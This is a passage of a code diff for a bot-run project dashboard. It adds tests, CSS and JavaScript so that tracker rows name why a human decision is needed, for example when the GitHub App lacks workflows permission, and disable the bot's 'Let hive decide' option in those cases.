reason_if_disabled: 'No human-authorised push identity is configured.' }, + { action: 'blocker:close-partial', label: 'Mark partially addressed and close', enabled: true }, + { action: 'blocker:wait', label: 'Keep waiting', enabled: true }, + { action: 'decide:delegate', label: 'Let hive decide', enabled: false, reason_if_disabled: 'No decision grants the App the permission; a maintainer must act in GitHub.' }, + { action: 'hold', label: 'Hold', enabled: true }, + ] }; +const pr620 = { repo: 'hivecommons/docs', kind: 'pr', number: 620, title: 'ci: opt docs refresh into hive', url: 'https://github.com/hivecommons/docs/pull/620', + stage: 50, stage_since: '2026-10-21T09:00:00Z', state: 'open', head: 'h620', author: 'bob', author_kind: 'human', caption: 'In review', + linked_issues: [{ number: 612, state: 'open', via: 'closes' }] }; +const issue612 = { repo: 'hivecommons/docs', kind: 'issue', number: 612, title: 'Opt docs refresh into hive', url: 'https://github.com/hivecommons/docs/issues/612', + stage: 45, stage_since: '2026-10-20T19:33:00Z', state: 'open', modifiers: ['needs-human'], needs_human: true, + reason: 'blocked: App lacks workflows permission', caption: 'A human decision is owed β€” blocked: App lacks workflows permission', + human_attention: { kind: 'issue', number: 612, reason: why612, asked_by: 'the hive' }, + blocker: { kind: 'capability:workflows-permission', short: 'App lacks workflows permission', permission: 'workflows', since: '2026-10-20T19:33:00Z', + detail: 'needs-human: the .github/workflows/hive-docs-refresh.yml opt-in + add-paths change must be applied by a maintainer; App token lacks workflows permission' }, + decision_needed: decision612, linked_pr: 620, linked_prs: [pr620] }; +const decision480 = { question: 'The hive never merges this by itself (it edits CI workflow files). Approve it for a maintainer to merge, give direction, or close it?', asked_by: 'the hive', since: '2026-10-22T08:00:00Z', + blocker: 'The hive never merges this by itself. After approval, a maintainer merges.', + options: [ { action: 'decide:delegate', label: 'Let hive decide', enabled: true }, { action: 'decide:approve', label: 'Approve', enabled: true } ] }; +const pr480 = { repo: 'hivecommons/rationguard', kind: 'pr', number: 480, title: 'ci: pin workflow runners', url: 'https://github.com/hivecommons/rationguard/pull/480', + stage: 85, stage_since: '2026-10-22T08:00:00Z', state: 'open', head: 'h480', author: 'hive-bot', author_kind: 'hive', base_ref: 'main', modifiers: ['needs-decision'], + caption: 'A human decision is owed β€” workflow path', human_reason: 'workflow path', + stage_actor: { kind: 'human', why: 'a human decision is owed β€” workflow path', human_reason: 'workflow path' }, + decision_needed: decision480, linked_issues: [{ number: 431, state: 'open', via: 'closes' }] }; +const issue431 = { repo: 'hivecommons/rationguard', kind: 'issue', number: 431, title: 'Pin workflow runners', url: 'https://github.com/hivecommons/rationguard/issues/431', + stage: 40, stage_since: '2026-10-21T08:00:00Z', state: 'open', modifiers: ['blocked'], caption: 'PR open', linked_pr: 480, + // The live payload's linked entry carried no modifiers of its own, so the issue's "blocked" led the pill. + linked_prs: [(({ modifiers, ...rest }) => rest)(pr480)] }; +` + +func TestStageTrackerNeedsHumanReasonOnRow(t *testing.T) { + html := indexHTML(t) + runStageTrackerRowActionsScript(t, stageTrackerRowsPreludeJS(t, html)+"\n"+ + jsFunc(t, html, "stageTrackerHumanAttentionOf")+"\n"+ + jsFunc(t, html, "stageTrackerNeedsHumanAsk")+"\n"+ + stageTrackerRowsFixtureJS+stageTrackerNeedsHumanFixture+` +// Short reasons: the known map first, then the clause after "β€”". +assert.strictEqual(stageTrackerNeedsHumanShort(issue612), 'App lacks workflows permission'); +assert.strictEqual(stageTrackerNeedsHumanShort(pr480), 'edits CI workflows'); +assert.strictEqual(stageTrackerNeedsHumanWord(pr480), 'Needs human Β· edits CI workflows'); +assert.strictEqual(stageTrackerNeedsHumanShort({ stage: 85, stage_actor: { kind: 'human', why: 'a human decision is owed β€” the reviewer asked for a design note. Then more.' } }), 'the reviewer asked for a design note'); +assert.strictEqual(stageTrackerNeedsHumanWord({ stage: 85, modifiers: ['needs-decision'] }), ''); + +// rationguard#480: the 085 chevron names the reason, not a bare "Needs human decision". +let row = stageTrackerRowHtml(pr480, stages, ctx); +assert.ok(text(strip(row)).includes('Needs human Β· edits CI workflows'), 'the 085 caption carries the short reason: ' + text(strip(row))); +const detour = (/<span class="ham-detour(?: ham-has-holder)?">([^<]*)</.exec(strip(row)) || [])[1]; +assert.strictEqual(detour, 'Needs human Β· edits CI workflows', 'the visible chevron word, not "Needs human decision"'); + +// rationguard#431: "blocked" only because its PR waits at 085 reads "decision on #480". +row = stageTrackerRowHtml(issue431, stages, ctx); +const pill431 = /<[a-z]+ class="ham-badge ham-badge-mod ham-mod-blocked[^"]*"[^>]*>([\s\S]*?)<\/[a-z]+>/.exec(row); +assert.ok(pill431, row); +assert.strictEqual(text(pill431[1]), 'decision on #480'); +assert.ok(pill431[0].includes('Blocked only because PR #480 waits on a human decision'), pill431[0]); +// A real blocked-on dependency keeps its own words. +assert.strictEqual(stageTrackerBlockedForDecisionPR(Object.assign({}, issue431, { blocked_on: ['#7'] })), null); +assert.strictEqual(stageTrackerBlockedForDecisionPR(Object.assign({}, issue431, { linked_prs: [Object.assign({}, pr480, { stage: 50, modifiers: [], decision_needed: null })] })), null); + +// docs#612: the covering human PR drives the strip, yet the issue's decision +// column still names the blocker with the person glyph, and the pill is a +// button carrying the full reason that reveals the row's note line. +row = stageTrackerRowHtml(issue612, stages, ctx); +assert.ok(row.includes('ham-blocker-note'), 'the done decision column keeps the blocker: ' + row); +assert.ok(text(strip(row)).includes('Blocked Β· App lacks workflows permission'), text(strip(row))); +assert.ok(/<li class="ham-seg done[^"]*ham-blocker-note[^"]*"[\s\S]*?aria-label="Next move: human"/.test(strip(row)), 'the blocker note wears the person glyph'); +const pill612 = /<button type="button" class="ham-badge ham-badge-mod ham-mod-needs-human ham-needs-human-pill"[^>]*>/.exec(row); +assert.ok(pill612, 'the needs-human pill is a button: ' + row); +assert.ok(pill612[0].includes('data-action="stageTrackerNeedsHumanReveal"') && pill612[0].includes('data-arg0="hivecommons/docs/issue#612"'), pill612[0]); +assert.ok(pill612[0].includes('title="Hive can't do this one: the GitHub App has no'), 'the hover is the full reason: ' + pill612[0]); +// Without a blocker there is no note, and a hive-owned row stays plain. +const plain = stageTrackerRowHtml(Object.assign({}, issue612, { blocker: null, needs_human: false, human_attention: null, decision_needed: null, modifiers: [] }), stages, ctx); +assert.ok(!plain.includes('ham-blocker-note') && !plain.includes('ham-needs-human-pill'), plain); +`) +} + +func TestStageTrackerNeedsHumanLeadAction(t *testing.T) { + html := indexHTML(t) + runStageTrackerRowActionsScript(t, stageTrackerRowActionsPreamble(t, html)+"\n"+stageTrackerNeedsHumanFixture+` +const ctx = { user: true, canHold: true, canHuman: true, rows: [issue612] }; +// The server ruled delegation out: the lead is the first enabled blocker +// option, and "Let hive decide" stands beside it muted with the reason. +const lead = stageTrackerLeadAction(issue612, ctx); +assert.ok(lead, 'a lead'); +assert.strictEqual(lead.id, 'open:app-settings', JSON.stringify(lead)); +assert.strictEqual(lead.label, 'Grant the App workflows: write'); +assert.strictEqual(lead.enabled, true); +assert.strictEqual(lead.url, appURL); +const pills = stageTrackerLeadActionsOnRow(issue612, ctx, []); +assert.deepStrictEqual(pills.map(a => a.id), ['open:app-settings', 'decide:delegate'], JSON.stringify(pills)); +assert.strictEqual(pills[1].enabled, false); +assert.ok(pills[1].why.includes('No decision grants the App the permission'), pills[1].why); +const htmlOut = stageTrackerLeadActionHtml(issue612, ctx, []); +assert.ok(/<button[^>]*class="ham-lead-act ham-act-primary"[^>]*data-ham-act="open:app-settings"[^>]*>Grant the App workflows: write<\/button>/.test(htmlOut), htmlOut); +assert.ok(/<button[^>]*class="ham-lead-act ham-act-secondary"[^>]*data-ham-act="decide:delegate"[^>]*aria-disabled="true"[^>]*title="No decision grants the App the permission[^"]*"[^>]*>Let hive decide<\/button>/.test(htmlOut), htmlOut); +// The Decide… submenu honours the server's reason too. +const del = stageTrackerDecideOptions(issue612, ctx).find(o => o.id === 'decide:delegate'); +assert.strictEqual(del.enabled, false); +assert.ok(del.why.includes('No decision grants'), del.why); +// With the link gone, the next enabled, non-destructive option leads. +const noLink = Object.assign({}, issue612, { decision_needed: Object.assign({}, decision612, { options: decision612.options.filter(o => o.action !== 'open:app-settings') }) }); +assert.strictEqual(stageTrackerLeadAction(noLink, ctx).id, 'blocker:recheck'); +// A row whose server lets the hive decide keeps delegate as its lead. +assert.strictEqual(stageTrackerLeadAction(pr480, ctx).id, 'decide:delegate'); +`) +} + +func TestStageTrackerNeedsHumanCaptionSpacing(t *testing.T) { + // derive_issue.go emits "blocked: <short>"; the generic replacer used to + // double the space ("owed β€” blocked: App lacks…"). + if got, want := humanizeStageReason("blocked: App lacks workflows permission"), "blocked: App lacks workflows permission"; got != want { + t.Errorf("humanizeStageReason = %q, want %q", got, want) + } + if got := humanizeStageReason("blocked: App lacks workflows permission"); strings.Contains(got, " ") { + t.Errorf("humanizeStageReason kept a double space: %q", got) + } +} + +func TestStageTrackerNeedsHumanWiredInPage(t *testing.T) { + html := indexHTML(t) + for _, want := range []string{ + `function stageTrackerNeedsHumanReveal(rowKey)`, + `.ham-seg.done.ham-blocker-note { color: var(--amber); opacity: 1; }`, + `.ham-needs-human-pill { cursor: pointer; font: inherit; }`, + } { + if !strings.Contains(html, want) { + t.Errorf("index.html missing %q", want) + } + } +} diff --git a/src/pkg/dashboard/stage_tracker_row_actions_test.go b/src/pkg/dashboard/stage_tracker_row_actions_test.go index 492f564f85..19ec78f7e4 100644 --- a/src/pkg/dashboard/stage_tracker_row_actions_test.go +++ b/src/pkg/dashboard/stage_tracker_row_actions_test.go @@ -63,6 +63,7 @@ func stageTrackerRowActionsPreamble(t *testing.T, html string) string { jsFunc(t, html, "stageTrackerParkedNestedPRs"), jsFunc(t, html, "stageTrackerDecisionTarget"), jsFunc(t, html, "stageTrackerDelegateTargets"), + jsFunc(t, html, "stageTrackerServerDelegate"), jsFunc(t, html, "stageTrackerDecideOptions"), jsFunc(t, html, "stageTrackerSupersederOptions"), jsFunc(t, html, "stageTrackerSupersederDefault"), diff --git a/src/pkg/dashboard/stage_tracker_ui_prelude_test.go b/src/pkg/dashboard/stage_tracker_ui_prelude_test.go index e5ac270858..0bd1189921 100644 --- a/src/pkg/dashboard/stage_tracker_ui_prelude_test.go +++ b/src/pkg/dashboard/stage_tracker_ui_prelude_test.go @@ -121,6 +121,14 @@ func stageTrackerRowsPreludeJS(t *testing.T, html string) string { jsFunc(t, html, "stageTrackerHopName"), jsFunc(t, html, "stageTrackerTrailText"), jsFunc(t, html, "stageTrackerTooltip"), + jsConstLine(t, html, "STAGE_TRACKER_BLOCKED_WORD"), + jsFunc(t, html, "stageTrackerBlockerWord"), + jsConstBlock(t, html, "STAGE_TRACKER_NEEDS_HUMAN_SHORT"), + jsConstLine(t, html, "STAGE_TRACKER_NEEDS_HUMAN_SHORT_MAX"), + jsConstLine(t, html, "STAGE_TRACKER_NEEDS_HUMAN_WORD"), + jsFunc(t, html, "stageTrackerNeedsHumanShort"), + jsFunc(t, html, "stageTrackerNeedsHumanWord"), + jsFunc(t, html, "stageTrackerBlockedForDecisionPR"), jsFunc(t, html, "stageTrackerChipsHtml"), jsFunc(t, html, "stageTrackerHeadColsHtml"), jsFunc(t, html, "stageTrackerSinceHtml"), diff --git a/src/pkg/dashboard/static-src/css/tracker.css b/src/pkg/dashboard/static-src/css/tracker.css index 35f3b1bb75..88b7c0a5ba 100644 --- a/src/pkg/dashboard/static-src/css/tracker.css +++ b/src/pkg/dashboard/static-src/css/tracker.css @@ -355,6 +355,12 @@ done-style step that keeps its word (stage_tracker_remediation.go). */ .ham-seg.active.ham-remediation-unassigned { background: color-mix(in srgb, var(--amber) 70%, var(--red)); } .ham-seg.done.ham-fix-pushed { color: var(--green); } +/* A done decision column that still names the blocker a person must + clear while a covering PR drives the strip (hivecommons/docs#612). */ +.ham-seg.done.ham-blocker-note { color: var(--amber); opacity: 1; } +/* The "needs human" pill is a button: click scrolls to the Needs human line. */ +.ham-needs-human-pill { cursor: pointer; font: inherit; } +.ham-needs-human-pill:hover, .ham-needs-human-pill:focus-visible { text-decoration: underline; } .ham-seg.todo { background: transparent; color: var(--text-faint); box-shadow: inset 0 0 0 var(--line-width) var(--line-subtle); opacity: 0.5; } .ham-seg.blank { visibility: hidden; } .ham-sub { display: grid; grid-template-columns: minmax(0, 1fr); min-width: 0; gap: var(--sp-2); margin-top: var(--sp-3); position: relative; } diff --git a/src/pkg/dashboard/static-src/js/tracker-actions.js b/src/pkg/dashboard/static-src/js/tracker-actions.js index bb735ff525..7752bc80bb 100644 --- a/src/pkg/dashboard/static-src/js/tracker-actions.js +++ b/src/pkg/dashboard/static-src/js/tracker-actions.js @@ -261,7 +261,11 @@ const out = []; // First: the hive decides as the owner's delegate (policy + rails on // the server; recorded as a human decision with an audit marker). - out.push({ id: 'decide:delegate', label: 'Let hive decide', hint: 'delegate', enabled, why }); + // The server may rule delegation out for this row (a capability gap + // no decision closes β€” hivecommons/docs#612); its reason wins. + const served = stageTrackerServerDelegate(item); + const delegateOff = !!served && served.enabled === false; + out.push({ id: 'decide:delegate', label: 'Let hive decide', hint: 'delegate', enabled: enabled && !delegateOff, why: delegateOff ? (served.reason_if_disabled || 'The hive cannot decide this one') : why }); if (item.kind === 'pr') { out.push({ id: 'decide:approve', label: 'Approve (/lgtm + /approve)', enabled, why }); out.push({ id: 'decide:close-superseded', label: 'Close as superseded by…', enabled, why, danger: true }); @@ -275,6 +279,11 @@ out.push({ id: 'decide:close-wontfix', label: "Close as won't-fix…", enabled, why, danger: true }); return out; } + // Pure: the server's decide:delegate option on the row, or null. + function stageTrackerServerDelegate(item) { + const opts = item && item.decision_needed && Array.isArray(item.decision_needed.options) ? item.decision_needed.options : []; + return opts.find(o => o && o.action === 'decide:delegate') || null; + } // Pure: the operator note for labels the row's stage has outrun // (stale_labels: a needs-triage still on a claimed issue, which the // reconciler removes on its next pass β€” hivecommons/hive#14586). '' when none. @@ -487,6 +496,15 @@ if (lead) return lead; const decide = actions.find(a => a.id === 'decide'); const safe = decide && Array.isArray(decide.submenu) ? decide.submenu.filter(x => x && !x.danger) : []; + // The server ruled delegation out (a capability gap): the first + // enabled, non-destructive blocker option leads instead β€” the + // person's actual move (open App settings, re-check permissions), + // not a greyed "Let hive decide" (hivecommons/docs#612). + const served = stageTrackerServerDelegate(item); + if (served && served.enabled === false) { + const b = stageTrackerBlockerActions(item, ctx).find(x => x.enabled && !x.danger); + if (b) return Object.assign({}, b, { target: (decide && decide.target) || { kind: item.kind, number: item.number, repo: item.repo } }); + } if (safe.length) { const o = safe.find(x => x.enabled) || safe[0]; const enabled = !!decide.enabled && !!o.enabled; @@ -570,7 +588,7 @@ function stageTrackerLeadCompanion(item, ctx, lead) { if (!item || !lead || lead.passive || lead.id === 'decide:delegate') return null; const dec = typeof stageTrackerDecisionOf === 'function' ? stageTrackerDecisionOf(item) : null; - const human = !!(dec && dec.item && dec.item.decision_needed) || (item.stage_actor && item.stage_actor.kind === 'human') || (Number(item.stage) || 0) === 85; + const human = !!(dec && dec.item && dec.item.decision_needed) || !!item.decision_needed || (item.stage_actor && item.stage_actor.kind === 'human') || (Number(item.stage) || 0) === 85; if (!human) return null; const decide = stageTrackerRowActions(item, ctx).find(a => a.id === 'decide'); const o = decide && Array.isArray(decide.submenu) ? decide.submenu.find(x => x && x.id === 'decide:delegate') : null; diff --git a/src/pkg/dashboard/static-src/js/tracker-human-attention.js b/src/pkg/dashboard/static-src/js/tracker-human-attention.js index fed814653d..c6e8e127a1 100644 --- a/src/pkg/dashboard/static-src/js/tracker-human-attention.js +++ b/src/pkg/dashboard/static-src/js/tracker-human-attention.js @@ -11,28 +11,99 @@ if (a.kind === 'pr' && String(a.head || '') !== String(item.head || '')) return null; return a; } - function stageTrackerHumanAttentionLine(item) { - const a = stageTrackerHumanAttentionOf(item); + // Pure: the decision a row carries itself when the server supplies no + // human_attention β€” a 045 issue or 085 PR with decision_needed, or a + // needs-human flag with a blocker (hivecommons/docs#612, rationguard#480). + // Same shape as human_attention ({reason, asked_by, question, synthetic}) + // so the note line reads the same either way. null when the row is not + // parked on a person, or when human_attention already says it. + function stageTrackerNeedsHumanAsk(item) { + if (!item || item.advisory || item.hold || item.state === 'closed' || Number(item.stage) >= STAGE_TRACKER_TERMINAL + || item.superseded_by || item.adopted_by) return null; + const mods = Array.isArray(item.modifiers) ? item.modifiers : []; + if (mods.some(m => m === 'draft' || m === 'hold' || m === 'merged')) return null; + if (stageTrackerHumanAttentionOf(item)) return null; + const n = Number(item.stage) || 0; + const flagged = item.needs_human === true || mods.indexOf('needs-human') >= 0 || mods.indexOf('needs-decision') >= 0 + || n === (typeof STAGE_TRACKER_NEEDS_DECISION === 'number' ? STAGE_TRACKER_NEEDS_DECISION : 85) + || n === (typeof STAGE_TRACKER_ISSUE_NEEDS_DECISION === 'number' ? STAGE_TRACKER_ISSUE_NEEDS_DECISION : 45); + if (!flagged) return null; + const d = item.decision_needed || {}; + const b = item.blocker || {}; + const actor = item.stage_actor || {}; + const question = String(d.question || '').trim(); + const why = String(actor.why || '').trim(); + const whyClause = why.indexOf(' β€” ') >= 0 ? why.slice(why.indexOf(' β€” ') + 3).trim() : ''; + // Only evidence the server put on the row counts β€” a parked stage + // alone synthesizes nothing (the row may be mid-refresh or hive-owned). + const reason = question || String(b.detail || '').trim() || String(d.blocker || '').trim() || String(b.short || '').trim() || (actor.kind === 'human' ? whyClause : ''); + if (!reason) return null; + return { kind: item.kind, number: Number(item.number) || 0, reason, question, asked_by: String(d.asked_by || actor.login && actor.kind === 'hive' && 'the hive' || '').trim() || 'the hive', synthetic: true }; + } + // Pure: "Needs human: <short> β€” <first sentence of the reason>", the + // short reason first so the row names the blocker before explaining it. + // A reason that already starts with the short form is not repeated. + // whole: keep the whole reason (a decision question is the ask itself). + function stageTrackerNeedsHumanReasonText(item, reason, whole) { + const full = String(reason || '').trim(); + const short = typeof stageTrackerNeedsHumanShort === 'function' ? stageTrackerNeedsHumanShort(item) : ''; + if (!short || full.toLowerCase().indexOf(short.toLowerCase()) === 0) return full; + const m = whole ? null : full.match(/^[\s\S]*?[.!?](?=\s|$)/); + const first = m ? m[0].trim() : full; + return first ? short + ' β€” ' + first : short; + } + // Pure: the label of the row's lead action, when a lifted copy has one + // (tracker-actions). '' without one, or when the lead is the optional + // delegation itself β€” that is not what the person is asked to do. + function stageTrackerNeedsHumanLeadLabel(item, subRows) { + if (typeof stageTrackerLeadActionOnRow !== 'function' || typeof stageTrackerActionCtx !== 'function') return ''; + const ctx = stageTrackerActionCtx(item.repo); + if (!ctx) return ''; + ctx.rows = typeof _stageTrackerRows !== 'undefined' ? _stageTrackerRows : null; + const action = stageTrackerLeadActionOnRow(item, ctx, subRows); + if (!action || !action.label || action.id === 'decide:delegate' || action.id === 'decide:delegate-all') return ''; + return String(action.label).replace(/\s*[β–Έβ€Ί]\s*$/, ''); + } + // Pure: the one open covering PR a person other than the hive is pushing + // for this issue, when exactly one covers it. null otherwise. + function stageTrackerNeedsHumanPusher(item) { + if (!item || item.kind !== 'issue') return null; + if (typeof stageTrackerLinkedPROpen !== 'function') return null; + const open = (Array.isArray(item.linked_prs) ? item.linked_prs : []).filter(lp => lp && stageTrackerLinkedPROpen(lp, item)); + if (open.length !== 1) return null; + const lp = open[0]; + const human = (lp.author_kind || '') === 'human' || (lp.author_kind || '') === 'maintainer'; + return human && lp.author ? lp : null; + } + function stageTrackerHumanAttentionLine(item, subRows) { + const a = stageTrackerHumanAttentionOf(item) || stageTrackerNeedsHumanAsk(item); if (!a) return ''; - const reason = String(a.reason || '').trim() || 'Human decision required; reason unavailable'; + const reason = stageTrackerNeedsHumanReasonText(item, String(a.reason || '').trim() || 'Human decision required; reason unavailable', !!(a.synthetic && a.question)); const parts = ['Needs human: ' + reason]; if (a.owner) parts.push('next move: @' + a.owner); - if (a.asked_by) parts.push('requested by ' + a.asked_by); + if (a.asked_by) parts.push((a.synthetic ? 'asked by ' : 'requested by ') + a.asked_by); + const lead = stageTrackerNeedsHumanLeadLabel(item, subRows); + if (lead) parts.push('lead: ' + lead + ' β–Έ'); + const pusher = stageTrackerNeedsHumanPusher(item); + if (pusher) parts.push('@' + pusher.author + ' is pushing it in #' + Number(pusher.number)); return parts.join(' Β· '); } - function stageTrackerHumanRequirementText(item) { + function stageTrackerHumanRequirementText(item, subRows) { if (!item || item.advisory || item.hold || item.state === 'closed' || Number(item.stage) >= STAGE_TRACKER_TERMINAL || item.superseded_by || item.adopted_by || (item.modifiers || []).some(m => m === 'draft' || m === 'hold' || m === 'merged')) return ''; - const human = stageTrackerHumanAttentionLine(item); + const human = stageTrackerHumanAttentionLine(item, subRows); const d = item && item.decided; const review = d && d.current_blocker && String(d.head || '') === String(item.head || '') ? 'Current blocker: ' + d.current_blocker + ' Β· operator approval recorded separately, not review approval or merge readiness' : ''; return [human, review].filter(Boolean).join(' Β· '); } - function stageTrackerHumanContextOf(item, stages) { + function stageTrackerHumanContextOf(item, stages, subRows) { if (!item) return []; - const own = stageTrackerHumanRequirementText(item); - const out = own ? [{ item, text: own }] : []; + const own = stageTrackerHumanRequirementText(item, subRows); + // An issue's own ask is prefixed with its number, like a PR's line, + // so a row whose strip a covering PR drives still names the asker. + const asks = item.kind === 'issue' && !!(stageTrackerHumanAttentionOf(item) || stageTrackerNeedsHumanAsk(item)); + const out = own ? [{ item, text: (asks ? '#' + Number(item.number) + ' β€” ' : '') + own }] : []; if (item.kind !== 'issue') return out; // Include external drawn_under references, but never walk RFC ancestry // or assign one child's requirement to the issue / its other PRs. @@ -60,7 +131,7 @@ return `<div class="cue-event ham-human-context"><span>${bodyHtml}</span></div>`; } function stageTrackerHumanContextHtml(item, stages, nowMs, subRows) { - const required = stageTrackerHumanContextOf(item, stages); + const required = stageTrackerHumanContextOf(item, stages, subRows); const lines = required.map(entry => { const it = entry.item; const href = it.url || item.url; diff --git a/src/pkg/dashboard/static-src/js/tracker-motion.js b/src/pkg/dashboard/static-src/js/tracker-motion.js index febe3c886d..e0f2e36b4e 100644 --- a/src/pkg/dashboard/static-src/js/tracker-motion.js +++ b/src/pkg/dashboard/static-src/js/tracker-motion.js @@ -293,6 +293,20 @@ stageTrackerNoteEventSet(key, stageTrackerNoteToggled(ev, nowMs, stageTrackerNoteTuckSetting())); stageTrackerNoteSync(document.getElementById('activity-monitor-panel'), nowMs); } + // The row's "needs human" pill: bring its "Needs human: …" line into + // view, untucked. rowKey: the row's data-ham-key. + function stageTrackerNeedsHumanReveal(rowKey) { + const panel = document.getElementById('activity-monitor-panel'); + if (!panel || !rowKey) return; + const rows = panel.querySelectorAll('.ham-row[data-ham-key]'); + let row = null; + for (const r of rows) if (r.getAttribute('data-ham-key') === String(rowKey)) { row = r; break; } + if (!row) return; + const line = row.querySelector('.ham-human-context[data-cue-key]'); + if (!line) return; + if (line.classList.contains('cue-event-tucked')) stageTrackerNoteToggle(line.getAttribute('data-cue-key')); + if (typeof line.scrollIntoView === 'function') line.scrollIntoView({ block: 'nearest' }); + } // Hidden tab: stop the clock on every open line; visible again: give // back the hidden time and re-arm. function stageTrackerNoteVisibility(hidden, nowMs) { diff --git a/src/pkg/dashboard/static-src/js/tracker-row-strip.js b/src/pkg/dashboard/static-src/js/tracker-row-strip.js index a57190b1bb..87bc10364a 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row-strip.js +++ b/src/pkg/dashboard/static-src/js/tracker-row-strip.js @@ -333,7 +333,10 @@ const to = range && range.to != null ? range.to : Infinity; const actorKind = stageTrackerActorKind(item); const humanIcon = actorKind === 'human' || actorKind === 'maintainer'; - const humanRequired = typeof stageTrackerHumanAttentionOf !== 'function' || !!stageTrackerHumanAttentionOf(item); + // A current requirement from the server (human_attention), or a + // decision the row carries itself (045 / 085 with decision_needed, + // which the server leaves out of human_attention past the gate). + const humanRequired = typeof stageTrackerHumanAttentionOf !== 'function' || !!stageTrackerHumanAttentionOf(item) || (typeof stageTrackerNeedsHumanAsk === 'function' && !!stageTrackerNeedsHumanAsk(item)); const actorIco = actorKind && (!humanIcon || humanRequired) ? stageTrackerIcon(actorKind, 'ham-ico ham-actor-ico', 'Next move: ' + actorKind) : ''; const actorTip = stageTrackerActorTip(item); // Guarded: test harnesses lift this function by name without stageTrackerHumanReason. @@ -390,7 +393,8 @@ const sentinel = !!(sg.detour && sg.detour.sentinel); const sentinelSuffix = !!(sg.detour && sg.detour.sentinelSuffix); const fixPushed = sg.number === 30 && sg.state === 'done' && remediation === 'fix_pushed'; - const cls = ['ham-seg', sg.state, sg.cap ? 'cap' : '', sg.state === 'active' && !sg.cap && waitingOnTracks ? 'ham-settled-current' : '', fixPushed ? 'ham-fix-pushed' : '', sg.state === 'active' && sg.number === 30 && remediation ? 'ham-remediation-' + remediation : '', sg.cap && sg.terminal ? 'merged' : '', sg.detour ? 'detoured' : '', sg.hold ? 'ham-open-hold' : '', sg.blocked ? 'ham-open-blocked' : '', sg.draft ? 'ham-open-draft' : '', sg.isNew ? 'ham-open-new' : '', sg.advisory ? 'ham-open-advisory' : '', sg.openSince && sg.openSince.stale ? 'ham-open-stale' : '', sentinel || sentinelSuffix ? 'ham-sentinel' : ''].filter(Boolean).join(' '); + const blockerNote = sg.state === 'done' && sg.blockerNote ? String(sg.blockerNote) : ''; + const cls = ['ham-seg', sg.state, sg.cap ? 'cap' : '', sg.state === 'active' && !sg.cap && waitingOnTracks ? 'ham-settled-current' : '', fixPushed ? 'ham-fix-pushed' : '', blockerNote ? 'ham-blocker-note' : '', sg.state === 'active' && sg.number === 30 && remediation ? 'ham-remediation-' + remediation : '', sg.cap && sg.terminal ? 'merged' : '', sg.detour ? 'detoured' : '', sg.hold ? 'ham-open-hold' : '', sg.blocked ? 'ham-open-blocked' : '', sg.draft ? 'ham-open-draft' : '', sg.isNew ? 'ham-open-new' : '', sg.advisory ? 'ham-open-advisory' : '', sg.openSince && sg.openSince.stale ? 'ham-open-stale' : '', sentinel || sentinelSuffix ? 'ham-sentinel' : ''].filter(Boolean).join(' '); const active = sg.state === 'active'; let tip = ''; let gateCaption = ''; @@ -478,6 +482,14 @@ // Inactive = icon only (hivecommons/hive#16599): the pushed fix is // the green glyph; its caption rides the tooltip. inner = `<span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(pushedTip)}" aria-describedby="${esc(tipID)}">${stageTrackerIcon(sg.number, 'ham-ico')}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(pushedTip)}</span></span>`; + } else if (blockerNote) { + // The issue's own column keeps the blocker in view while the + // covering PR's strip runs (hivecommons/docs#612): the word, the + // person glyph, and the blocker's detail as the hover. + const b = item.blocker || {}; + const noteTip = [blockerNote, b.detail, item.human_attention && item.human_attention.reason].filter(Boolean).join(' β€” '); + const tipID = 'ham-chevron-tip-' + [item.repo || '', item.kind || '', item.number || 0, sg.number].map(x => encodeURIComponent(String(x))).join('-'); + inner = `<span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(noteTip)}" aria-describedby="${esc(tipID)}">${stageTrackerIcon(sg.number, 'ham-ico')}<span class="ham-chevron-copy"><span class="ham-seg-t">${esc(blockerNote)}</span></span>${stageTrackerIcon('human', 'ham-ico ham-actor-ico', 'Next move: human')}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(noteTip)}</span></span>`; } else inner = stageTrackerIcon(sg.number, 'ham-ico'); return `<li class="${cls}"${remediation && sg.number === 30 && (active || fixPushed) ? ` data-remediation="${esc(remediation)}"` : ''}${active ? `${sg.cap ? '' : motionAttr}${decision ? '' : ` title="${esc(tip)}"`} aria-current="step"` : ''}${sentinel ? ` aria-label="${esc(STAGE_TRACKER_SENTINEL_WORD + ' β€” ' + stageTrackerSentinelTip(item))}"` : (sentinelSuffix ? ` aria-label="${esc(sg.detour.text + ' β€” ' + stageTrackerSentinelTip(item))}"` : '')}>${inner}</li>`; }).join(''); @@ -693,6 +705,23 @@ return lines.join('\n'); } + // Pure: the one open covering PR an issue's `blocked` pill stands for + // when nothing else blocks the issue β€” no structured blocker, no + // blocked_on dependencies, no blocked-on-PR marker, no re-check + // deadline β€” and that PR is parked on a human decision (085). The + // pill then reads "decision on #N" rather than a bare "blocked" + // (rationguard#431 under #480). null otherwise. + function stageTrackerBlockedForDecisionPR(item) { + if (!item || item.kind !== 'issue' || item.blocker) return null; + if (Array.isArray(item.blocked_on) && item.blocked_on.length) return null; + if (typeof stageTrackerBlockedOnPR === 'function' && stageTrackerBlockedOnPR(item)) return null; + if (/^blocked until /i.test(String(item.bucket_reason || ''))) return null; + const open = (Array.isArray(item.linked_prs) ? item.linked_prs : []).filter(lp => lp && (typeof stageTrackerLinkedPROpen !== 'function' || stageTrackerLinkedPROpen(lp, item))); + if (open.length !== 1) return null; + const lp = open[0]; + const parked = Number(lp.stage) === STAGE_TRACKER_NEEDS_DECISION || (Array.isArray(lp.modifiers) && lp.modifiers.indexOf('needs-decision') >= 0) || !!(lp.decision_needed && lp.decision_needed.question); + return parked ? lp : null; + } function stageTrackerChipsHtml(item) { const sentinel = stageTrackerSentinelChipHtml(item) + (typeof stageTrackerPreparationChipHtml === 'function' ? stageTrackerPreparationChipHtml(item) : '') + (typeof stageTrackerAdoptionChipHtml === 'function' ? stageTrackerAdoptionChipHtml(item) : '') + (typeof stageTrackerPresenceChipHtml === 'function' ? stageTrackerPresenceChipHtml(item) : '') + (typeof stageTrackerPushChipHtml === 'function' ? stageTrackerPushChipHtml(item, Date.now()) : '') + (typeof stageTrackerReroutePillHtml === 'function' ? stageTrackerReroutePillHtml(item) : '') + (typeof stageTrackerSupersedesChipHtml === 'function' ? stageTrackerSupersedesChipHtml(item, Date.now()) : '') + (typeof stageTrackerOverlapBadgeHtml === 'function' ? 